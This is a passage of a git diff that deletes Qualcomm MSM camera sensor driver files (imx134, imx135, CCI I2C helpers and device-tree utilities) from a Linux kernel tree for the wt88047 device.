platform_driver_unregister(&imx134_platform_driver); - } else { - i2c_del_driver(&imx134_i2c_driver); - } - return; -} - -static struct msm_sensor_ctrl_t imx134_s_ctrl = { - .sensor_i2c_client = &imx134_sensor_i2c_client, - .power_setting_array.power_setting = imx134_power_setting, - .power_setting_array.size = ARRAY_SIZE(imx134_power_setting), - .msm_sensor_mutex = &imx134_mut, - .sensor_v4l2_subdev_info = imx134_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(imx134_subdev_info), -}; - -module_init(imx134_init_module); -module_exit(imx134_exit_module); -MODULE_DESCRIPTION("imx134"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx135.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx135.c deleted file mode 100644 index c26e4fffbd4f2..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/imx135.c +++ /dev/null @@ -1,173 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#define IMX135_SENSOR_NAME "imx135" -DEFINE_MSM_MUTEX(imx135_mut); - -static struct msm_sensor_ctrl_t imx135_s_ctrl; - -static struct msm_sensor_power_setting imx135_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VAF, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_STANDBY, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 24000000, - .delay = 1, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct v4l2_subdev_info imx135_subdev_info[] = { - { - .code = V4L2_MBUS_FMT_SBGGR10_1X10, - .colorspace = V4L2_COLORSPACE_JPEG, - .fmt = 1, - .order = 0, - }, -}; - -static const struct i2c_device_id imx135_i2c_id[] = { - {IMX135_SENSOR_NAME, (kernel_ulong_t)&imx135_s_ctrl}, - { } -}; - -static int32_t msm_imx135_i2c_probe(struct i2c_client *client, - const struct i2c_device_id *id) -{ - return msm_sensor_i2c_probe(client, id, &imx135_s_ctrl); -} - -static struct i2c_driver imx135_i2c_driver = { - .id_table = imx135_i2c_id, - .probe = msm_imx135_i2c_probe, - .driver = { - .name = IMX135_SENSOR_NAME, - }, -}; - -static struct msm_camera_i2c_client imx135_sensor_i2c_client = { - .addr_type = MSM_CAMERA_I2C_WORD_ADDR, -}; - -static const struct of_device_id imx135_dt_match[] = { - {.compatible = "qcom,imx135", .data = &imx135_s_ctrl}, - {} -}; - -MODULE_DEVICE_TABLE(of, imx135_dt_match); - -static struct platform_driver imx135_platform_driver = { - .driver = { - .name = "qcom,imx135", - .owner = THIS_MODULE, - .of_match_table = imx135_dt_match, - }, -}; - -static int32_t imx135_platform_probe(struct platform_device *pdev) -{ - int32_t rc = 0; - const struct of_device_id *match; - match = of_match_device(imx135_dt_match, &pdev->dev); - rc = msm_sensor_platform_probe(pdev, match->data); - return rc; -} - -static int __init imx135_init_module(void) -{ - int32_t rc = 0; - pr_info("%s:%d\n", __func__, __LINE__); - rc = platform_driver_probe(&imx135_platform_driver, - imx135_platform_probe); - if (!rc) - return rc; - pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); - return i2c_add_driver(&imx135_i2c_driver); -} - -static void __exit imx135_exit_module(void) -{ - pr_info("%s:%d\n", __func__, __LINE__); - if (imx135_s_ctrl.pdev) { - msm_sensor_free_sensor_data(&imx135_s_ctrl); - platform_driver_unregister(&imx135_platform_driver); - } else - i2c_del_driver(&imx135_i2c_driver); - return; -} - -static struct msm_sensor_ctrl_t imx135_s_ctrl = { - .sensor_i2c_client = &imx135_sensor_i2c_client, - .power_setting_array.power_setting = imx135_power_setting, - .power_setting_array.size = ARRAY_SIZE(imx135_power_setting), - .msm_sensor_mutex = &imx135_mut, - .sensor_v4l2_subdev_info = imx135_subdev_info, - .sensor_v4l2_subdev_info_size = ARRAY_SIZE(imx135_subdev_info), -}; - -module_init(imx135_init_module); -module_exit(imx135_exit_module); -MODULE_DESCRIPTION("imx135"); -MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile deleted file mode 100644 index 7840ad91b47bc..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile +++ /dev/null @@ -1,4 +0,0 @@ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/ -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor -ccflags-y += -Idrivers/media/platform/msm/camera_wt88047_v2/sensor/cci -obj-$(CONFIG_MSMB_CAMERA) += msm_camera_io_util.o msm_camera_cci_i2c.o msm_camera_qup_i2c.o msm_camera_i2c_mux.o msm_camera_spi.o msm_camera_dt_util.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_cci_i2c.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_cci_i2c.c deleted file mode 100644 index aea0fbf9c2dc0..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_cci_i2c.c +++ /dev/null @@ -1,500 +0,0 @@ -/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include "msm_camera_i2c.h" -#include "msm_cci.h" - -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_debug(fmt, ##args) -#define S_I2C_DBG(fmt, args...) pr_debug(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#define S_I2C_DBG(fmt, args...) do { } while (0) -#endif - -#define I2C_COMPARE_MATCH 0 -#define I2C_COMPARE_MISMATCH 1 -#define I2C_POLL_MAX_ITERATION 20 - -int32_t msm_camera_cci_i2c_read(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t *data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc = -EFAULT; - unsigned char buf[client->addr_type+data_type]; - struct msm_camera_cci_ctrl cci_ctrl; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || (data_type != MSM_CAMERA_I2C_BYTE_DATA - && data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - cci_ctrl.cmd = MSM_CCI_I2C_READ; - cci_ctrl.cci_info = client->cci_client; - cci_ctrl.cfg.cci_i2c_read_cfg.addr = addr; - cci_ctrl.cfg.cci_i2c_read_cfg.addr_type = client->addr_type; - cci_ctrl.cfg.cci_i2c_read_cfg.data = buf; - cci_ctrl.cfg.cci_i2c_read_cfg.num_byte = data_type; - rc = v4l2_subdev_call(client->cci_client->cci_subdev, - core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); - if (rc < 0) { - pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); - return rc; - } - rc = cci_ctrl.status; - if (data_type == MSM_CAMERA_I2C_BYTE_DATA) - *data = buf[0]; - else - *data = buf[0] << 8 | buf[1]; - - S_I2C_DBG("%s addr = 0x%x data: 0x%x\n", __func__, addr, *data); - return rc; -} - -int32_t msm_camera_cci_i2c_read_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte) -{ - int32_t rc = -EFAULT; - unsigned char *buf = NULL; - int i; - struct msm_camera_cci_ctrl cci_ctrl; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || num_byte == 0) - return rc; - - buf = kzalloc(num_byte, GFP_KERNEL); - if (!buf) { - pr_err("%s:%d no memory\n", __func__, __LINE__); - return -ENOMEM; - } - cci_ctrl.cmd = MSM_CCI_I2C_READ; - cci_ctrl.cci_info = client->cci_client; - cci_ctrl.cfg.cci_i2c_read_cfg.addr = addr; - cci_ctrl.cfg.cci_i2c_read_cfg.addr_type = client->addr_type; - cci_ctrl.cfg.cci_i2c_read_cfg.data = buf; - cci_ctrl.cfg.cci_i2c_read_cfg.num_byte = num_byte; - rc = v4l2_subdev_call(client->cci_client->cci_subdev, - core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); - CDBG("%s line %d rc = %d\n", __func__, __LINE__, rc); - rc = cci_ctrl.status; - - S_I2C_DBG("%s addr = 0x%x", __func__, addr); - for (i = 0; i < num_byte; i++) { - data[i] = buf[i]; - S_I2C_DBG("Byte %d: 0x%x\n", i, buf[i]); - S_I2C_DBG("Data: 0x%x\n", data[i]); - } - kfree(buf); - return rc; -} - -int32_t msm_camera_cci_i2c_write(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc = -EFAULT; - struct msm_camera_cci_ctrl cci_ctrl; - struct msm_camera_i2c_reg_array reg_conf_tbl; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || (data_type != MSM_CAMERA_I2C_BYTE_DATA - && data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - CDBG("%s:%d reg addr = 0x%x data type: %d\n", - __func__, __LINE__, addr, data_type); - reg_conf_tbl.reg_addr = addr; - reg_conf_tbl.reg_data = data; - cci_ctrl.cmd = MSM_CCI_I2C_WRITE; - cci_ctrl.cci_info = client->cci_client; - cci_ctrl.cfg.cci_i2c_write_cfg.reg_setting = ®_conf_tbl; - cci_ctrl.cfg.cci_i2c_write_cfg.data_type = data_type; - cci_ctrl.cfg.cci_i2c_write_cfg.addr_type = client->addr_type; - cci_ctrl.cfg.cci_i2c_write_cfg.size = 1; - rc = v4l2_subdev_call(client->cci_client->cci_subdev, - core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); - if (rc < 0) { - pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); - return rc; - } - rc = cci_ctrl.status; - return rc; -} - -int32_t msm_camera_cci_i2c_write_seq(struct msm_camera_i2c_client *client, - uint32_t addr, uint8_t *data, uint32_t num_byte) -{ - int32_t rc = -EFAULT; - uint8_t i = 0; - struct msm_camera_cci_ctrl cci_ctrl; - struct msm_camera_i2c_reg_array reg_conf_tbl[num_byte]; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || num_byte == 0) - return rc; - - S_I2C_DBG("%s reg addr = 0x%x num bytes: %d\n", - __func__, addr, num_byte); - memset(reg_conf_tbl, 0, - num_byte * sizeof(struct msm_camera_i2c_reg_array)); - reg_conf_tbl[0].reg_addr = addr; - for (i = 0; i < num_byte; i++) { - reg_conf_tbl[i].reg_data = data[i]; - reg_conf_tbl[i].delay = 0; - } - cci_ctrl.cmd = MSM_CCI_I2C_WRITE; - cci_ctrl.cci_info = client->cci_client; - cci_ctrl.cfg.cci_i2c_write_cfg.reg_setting = reg_conf_tbl; - cci_ctrl.cfg.cci_i2c_write_cfg.data_type = MSM_CAMERA_I2C_BYTE_DATA; - cci_ctrl.cfg.cci_i2c_write_cfg.addr_type = client->addr_type; - cci_ctrl.cfg.cci_i2c_write_cfg.size = num_byte; - rc = v4l2_subdev_call(client->cci_client->cci_subdev, - core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); - CDBG("%s line %d rc = %d\n", __func__, __LINE__, rc); - rc = cci_ctrl.status; - return rc; -} - -int32_t msm_camera_cci_i2c_write_table( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_setting *write_setting) -{ - int32_t rc = -EFAULT; - struct msm_camera_cci_ctrl cci_ctrl; - - if (!client || !write_setting) - return rc; - - if ((write_setting->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && write_setting->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || (write_setting->data_type != MSM_CAMERA_I2C_BYTE_DATA - && write_setting->data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - cci_ctrl.cmd = MSM_CCI_I2C_WRITE; - cci_ctrl.cci_info = client->cci_client; - cci_ctrl.cfg.cci_i2c_write_cfg.reg_setting = - write_setting->reg_setting; - cci_ctrl.cfg.cci_i2c_write_cfg.data_type = write_setting->data_type; - cci_ctrl.cfg.cci_i2c_write_cfg.addr_type = client->addr_type; - cci_ctrl.cfg.cci_i2c_write_cfg.size = write_setting->size; - rc = v4l2_subdev_call(client->cci_client->cci_subdev, - core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); - if (rc < 0) { - pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); - return rc; - } - rc = cci_ctrl.status; - if (write_setting->delay > 20) - msleep(write_setting->delay); - else if (write_setting->delay) - usleep_range(write_setting->delay * 1000, (write_setting->delay - * 1000) + 1000); - - return rc; -} - -int32_t msm_camera_cci_i2c_write_seq_table( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_seq_reg_setting *write_setting) -{ - int i; - int32_t rc = -EFAULT; - struct msm_camera_i2c_seq_reg_array *reg_setting; - uint16_t client_addr_type; - - if (!client || !write_setting) - return rc; - - if ((write_setting->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && write_setting->addr_type != MSM_CAMERA_I2C_WORD_ADDR)) { - pr_err("%s Invalide addr type %d\n", __func__, - write_setting->addr_type); - return rc; - } - - reg_setting = write_setting->reg_setting; - client_addr_type = client->addr_type; - client->addr_type = write_setting->addr_type; - - for (i = 0; i < write_setting->size; i++) { - rc = msm_camera_cci_i2c_write_seq(client, reg_setting->reg_addr, - reg_setting->reg_data, reg_setting->reg_data_size); - if (rc < 0) - return rc; - reg_setting++; - } - if (write_setting->delay > 20) - msleep(write_setting->delay); - else if (write_setting->delay) - usleep_range(write_setting->delay * 1000, (write_setting->delay - * 1000) + 1000); - - client->addr_type = client_addr_type; - return rc; -} - -int32_t msm_camera_cci_i2c_write_table_w_microdelay( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_setting *write_setting) -{ - int32_t rc = -EFAULT; - struct msm_camera_cci_ctrl cci_ctrl; - - if (!client || !write_setting) - return rc; - - if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR - && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) - || (write_setting->data_type != MSM_CAMERA_I2C_BYTE_DATA - && write_setting->data_type != MSM_CAMERA_I2C_WORD_DATA)) - return rc; - - cci_ctrl.cmd = MSM_CCI_I2C_WRITE; - cci_ctrl.cci_info = client->cci_client; - cci_ctrl.cfg.cci_i2c_write_cfg.reg_setting = - write_setting->reg_setting; - cci_ctrl.cfg.cci_i2c_write_cfg.data_type = write_setting->data_type; - cci_ctrl.cfg.cci_i2c_write_cfg.addr_type = client->addr_type; - cci_ctrl.cfg.cci_i2c_write_cfg.size = write_setting->size; - rc = v4l2_subdev_call(client->cci_client->cci_subdev, - core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); - if (rc < 0) { - pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); - return rc; - } - rc = cci_ctrl.status; - return rc; -} - -static int32_t msm_camera_cci_i2c_compare(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc; - uint16_t reg_data = 0; - int data_len = 0; - switch (data_type) { - case MSM_CAMERA_I2C_BYTE_DATA: - case MSM_CAMERA_I2C_WORD_DATA: - data_len = data_type; - break; - case MSM_CAMERA_I2C_SET_BYTE_MASK: - case MSM_CAMERA_I2C_UNSET_BYTE_MASK: - data_len = MSM_CAMERA_I2C_BYTE_DATA; - break; - case MSM_CAMERA_I2C_SET_WORD_MASK: - case MSM_CAMERA_I2C_UNSET_WORD_MASK: - data_len = MSM_CAMERA_I2C_WORD_DATA; - break; - default: - pr_err("%s: Unsupport data type: %d\n", __func__, data_type); - break; - } - - rc = msm_camera_cci_i2c_read(client, addr, ®_data, data_len); - if (rc < 0) - return rc; - - rc = I2C_COMPARE_MISMATCH; - switch (data_type) { - case MSM_CAMERA_I2C_BYTE_DATA: - case MSM_CAMERA_I2C_WORD_DATA: - if (data == reg_data) - rc = I2C_COMPARE_MATCH; - break; - case MSM_CAMERA_I2C_SET_BYTE_MASK: - case MSM_CAMERA_I2C_SET_WORD_MASK: - if ((reg_data & data) == data) - rc = I2C_COMPARE_MATCH; - break; - case MSM_CAMERA_I2C_UNSET_BYTE_MASK: - case MSM_CAMERA_I2C_UNSET_WORD_MASK: - if (!(reg_data & data)) - rc = I2C_COMPARE_MATCH; - break; - default: - pr_err("%s: Unsupport data type: %d\n", __func__, data_type); - break; - } - - S_I2C_DBG("%s: Register and data match result %d\n", __func__, - rc); - return rc; -} - -int32_t msm_camera_cci_i2c_poll(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc; - S_I2C_DBG("%s: addr: 0x%x data: 0x%x dt: %d\n", - __func__, addr, data, data_type); - - rc = msm_camera_cci_i2c_compare(client, - addr, data, data_type); - return rc; -} - -static int32_t msm_camera_cci_i2c_set_mask(struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t mask, - enum msm_camera_i2c_data_type data_type, uint16_t set_mask) -{ - int32_t rc; - uint16_t reg_data; - - rc = msm_camera_cci_i2c_read(client, addr, ®_data, data_type); - if (rc < 0) { - S_I2C_DBG("%s read fail\n", __func__); - return rc; - } - S_I2C_DBG("%s addr: 0x%x data: 0x%x setmask: 0x%x\n", - __func__, addr, reg_data, mask); - - if (set_mask) - reg_data |= mask; - else - reg_data &= ~mask; - S_I2C_DBG("%s write: 0x%x\n", __func__, reg_data); - - rc = msm_camera_cci_i2c_write(client, addr, reg_data, data_type); - if (rc < 0) - S_I2C_DBG("%s write fail\n", __func__); - - return rc; -} - -static int32_t msm_camera_cci_i2c_set_write_mask_data( - struct msm_camera_i2c_client *client, - uint32_t addr, uint16_t data, int16_t mask, - enum msm_camera_i2c_data_type data_type) -{ - int32_t rc; - uint16_t reg_data; - CDBG("%s\n", __func__); - if (mask == -1) - return 0; - if (mask == 0) { - rc = msm_camera_cci_i2c_write(client, addr, data, data_type); - } else { - rc = msm_camera_cci_i2c_read(client, addr, ®_data, - data_type); - if (rc < 0) { - CDBG("%s read fail\n", __func__); - return rc; - } - reg_data &= ~mask; - reg_data |= (data & mask); - rc = msm_camera_cci_i2c_write(client, addr, reg_data, - data_type); - if (rc < 0) - CDBG("%s write fail\n", __func__); - } - return rc; -} - -int32_t msm_camera_cci_i2c_write_conf_tbl( - struct msm_camera_i2c_client *client, - struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, - enum msm_camera_i2c_data_type data_type) -{ - int i; - int32_t rc = -EFAULT; - for (i = 0; i < size; i++) { - enum msm_camera_i2c_data_type dt; - if (reg_conf_tbl->cmd_type == MSM_CAMERA_I2C_CMD_POLL) { - rc = msm_camera_cci_i2c_poll(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - reg_conf_tbl->dt); - } else { - if (reg_conf_tbl->dt == 0) - dt = data_type; - else - dt = reg_conf_tbl->dt; - switch (dt) { - case MSM_CAMERA_I2C_BYTE_DATA: - case MSM_CAMERA_I2C_WORD_DATA: - rc = msm_camera_cci_i2c_write( - client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, dt); - break; - case MSM_CAMERA_I2C_SET_BYTE_MASK: - rc = msm_camera_cci_i2c_set_mask(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - MSM_CAMERA_I2C_BYTE_DATA, 1); - break; - case MSM_CAMERA_I2C_UNSET_BYTE_MASK: - rc = msm_camera_cci_i2c_set_mask(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - MSM_CAMERA_I2C_BYTE_DATA, 0); - break; - case MSM_CAMERA_I2C_SET_WORD_MASK: - rc = msm_camera_cci_i2c_set_mask(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - MSM_CAMERA_I2C_WORD_DATA, 1); - break; - case MSM_CAMERA_I2C_UNSET_WORD_MASK: - rc = msm_camera_cci_i2c_set_mask(client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - MSM_CAMERA_I2C_WORD_DATA, 0); - break; - case MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA: - rc = msm_camera_cci_i2c_set_write_mask_data( - client, - reg_conf_tbl->reg_addr, - reg_conf_tbl->reg_data, - reg_conf_tbl->mask, - MSM_CAMERA_I2C_BYTE_DATA); - break; - default: - pr_err("%s: Unsupport data type: %d\n", - __func__, dt); - break; - } - } - if (rc < 0) - break; - reg_conf_tbl++; - } - return rc; -} - -int32_t msm_sensor_cci_i2c_util(struct msm_camera_i2c_client *client, - uint16_t cci_cmd) -{ - int32_t rc = 0; - struct msm_camera_cci_ctrl cci_ctrl; - - CDBG("%s line %d\n", __func__, __LINE__); - cci_ctrl.cmd = cci_cmd; - cci_ctrl.cci_info = client->cci_client; - rc = v4l2_subdev_call(client->cci_client->cci_subdev, - core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); - if (rc < 0) { - pr_err("%s line %d rc = %d\n", __func__, __LINE__, rc); - return rc; - } - return cci_ctrl.status; -} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.c deleted file mode 100644 index 6605634da27bd..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.c +++ /dev/null @@ -1,1368 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include "msm_camera_dt_util.h" -#include "msm_camera_io_util.h" -#include "msm_camera_i2c_mux.h" -#include "msm_cci.h" - -#define CAM_SENSOR_PINCTRL_STATE_SLEEP "cam_suspend" -#define CAM_SENSOR_PINCTRL_STATE_DEFAULT "cam_default" -/*#define CONFIG_MSM_CAMERA_DT_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSM_CAMERA_DT_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -int msm_camera_fill_vreg_params(struct camera_vreg_t *cam_vreg, - int num_vreg, struct msm_sensor_power_setting *power_setting, - uint16_t power_setting_size) -{ - uint16_t i = 0; - int j = 0; - - /* Validate input parameters */ - if (!cam_vreg || !power_setting) { - pr_err("%s:%d failed: cam_vreg %p power_setting %p", __func__, - __LINE__, cam_vreg, power_setting); - return -EINVAL; - } - - /* Validate size of num_vreg */ - if (num_vreg <= 0) { - pr_err("failed: num_vreg %d", num_vreg); - return -EINVAL; - } - - for (i = 0; i < power_setting_size; i++) { - if (power_setting[i].seq_type != SENSOR_VREG) - continue; - - switch (power_setting[i].seq_val) { - case CAM_VDIG: - for (j = 0; j < num_vreg; j++) { - if (!strcmp(cam_vreg[j].reg_name, "cam_vdig")) { - pr_err("%s:%d i %d j %d cam_vdig\n", - __func__, __LINE__, i, j); - power_setting[i].seq_val = j; - break; - } - } - break; - - case CAM_VIO: - for (j = 0; j < num_vreg; j++) { - if (!strcmp(cam_vreg[j].reg_name, "cam_vio")) { - pr_err("%s:%d i %d j %d cam_vio\n", - __func__, __LINE__, i, j); - power_setting[i].seq_val = j; - break; - } - } - break; - - case CAM_VANA: - for (j = 0; j < num_vreg; j++) { - if (!strcmp(cam_vreg[j].reg_name, "cam_vana")) { - pr_err("%s:%d i %d j %d cam_vana\n", - __func__, __LINE__, i, j); - power_setting[i].seq_val = j; - break; - } - } - break; - - case CAM_VAF: - for (j = 0; j < num_vreg; j++) { - if (!strcmp(cam_vreg[j].reg_name, "cam_vaf")) { - pr_err("%s:%d i %d j %d cam_vaf\n", - __func__, __LINE__, i, j); - power_setting[i].seq_val = j; - break; - } - } - break; - - default: - pr_err("%s:%d invalid seq_val %d\n", __func__, - __LINE__, power_setting[i].seq_val); - break; - } - } - - return 0; -} - -int msm_sensor_get_sub_module_index(struct device_node *of_node, - struct msm_sensor_info_t **s_info) -{ - int rc = 0, i = 0; - uint32_t val = 0, count = 0; - uint32_t *val_array = NULL; - struct device_node *src_node = NULL; - struct msm_sensor_info_t *sensor_info; - - sensor_info = kzalloc(sizeof(*sensor_info), GFP_KERNEL); - if (!sensor_info) { - pr_err("%s:%d failed\n", __func__, __LINE__); - return -ENOMEM; - } - for (i = 0; i < SUB_MODULE_MAX; i++) - sensor_info->subdev_id[i] = -1; - - src_node = of_parse_phandle(of_node, "qcom,actuator-src", 0); - if (!src_node) { - CDBG("%s:%d src_node NULL\n", __func__, __LINE__); - } else { - rc = of_property_read_u32(src_node, "cell-index", &val); - CDBG("%s qcom,actuator cell index %d, rc %d\n", __func__, - val, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR; - } - sensor_info->subdev_id[SUB_MODULE_ACTUATOR] = val; - of_node_put(src_node); - src_node = NULL; - } - - src_node = of_parse_phandle(of_node, "qcom,eeprom-src", 0); - if (!src_node) { - CDBG("%s:%d eeprom src_node NULL\n", __func__, __LINE__); - } else { - rc = of_property_read_u32(src_node, "cell-index", &val); - CDBG("%s qcom,eeprom cell index %d, rc %d\n", __func__, - val, rc); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - goto ERROR; - } - sensor_info->subdev_id[SUB_MODULE_EEPROM] = val; - of_node_put(src_node); - src_node = NULL; - } - - rc = of_property_read_u32(of_node, "qcom,eeprom-sd-index", &val); - if (rc != -EINVAL) { - CDBG("%s qcom,eeprom-sd-index %d, rc %d\n", __func__, val, rc); - if (rc < 0) { - pr_err("%s:%d failed rc %d\n", __func__, __LINE__, rc); - goto ERROR; - } - sensor_info->subdev_id[SUB_MODULE_EEPROM] = val; - } else - rc = 0; - - src_node = of_parse_phandle(of_node, "qcom,led-flash-src", 0); - if (!src_node) { - CDBG("%s:%d src_node NULL\n", __func__, __LINE__); - } else { - rc = of_property_read_u32(src_node, "cell-index", &val); - CDBG("%s qcom,led flash cell index %d, rc %d\n", __func__, - val, rc); - if (rc < 0) { - pr_err("%s:%d failed %d\n", __func__, __LINE__, rc); - goto ERROR; - } - sensor_info->subdev_id[SUB_MODULE_LED_FLASH] = val; - of_node_put(src_node); - src_node = NULL; - } - - rc = of_property_read_u32(of_node, "qcom,strobe-flash-sd-index", &val); - if (rc != -EINVAL) { - CDBG("%s qcom,strobe-flash-sd-index %d, rc %d\n", __func__, - val, rc); - if (rc < 0) { - pr_err("%s:%d failed rc %d\n", __func__, __LINE__, rc); - goto ERROR; - } - sensor_info->subdev_id[SUB_MODULE_STROBE_FLASH] = val; - } else - rc = 0; - - if (of_get_property(of_node, "qcom,csiphy-sd-index", &count)) { - count /= sizeof(uint32_t); - if (count > 2) { - pr_err("%s qcom,csiphy-sd-index count %d > 2\n", - __func__, count); - goto ERROR; - } - val_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); - if (!val_array) { - pr_err("%s failed %d\n", __func__, __LINE__); - rc = -ENOMEM; - goto ERROR; - } - - rc = of_property_read_u32_array(of_node, "qcom,csiphy-sd-index", - val_array, count); - if (rc < 0) { - pr_err("%s failed %d\n", __func__, __LINE__); - kfree(val_array); - goto ERROR; - } - for (i = 0; i < count; i++) { - sensor_info->subdev_id[SUB_MODULE_CSIPHY + i] = - val_array[i]; - CDBG("%s csiphy_core[%d] = %d\n", - __func__, i, val_array[i]); - } - kfree(val_array); - } else { - pr_err("%s:%d qcom,csiphy-sd-index not present\n", __func__, - __LINE__); - rc = -EINVAL; - goto ERROR; - } - - if (of_get_property(of_node, "qcom,csid-sd-index", &count)) { - count /= sizeof(uint32_t); - if (count > 2) { - pr_err("%s qcom,csid-sd-index count %d > 2\n", - __func__, count); - rc = -EINVAL; - 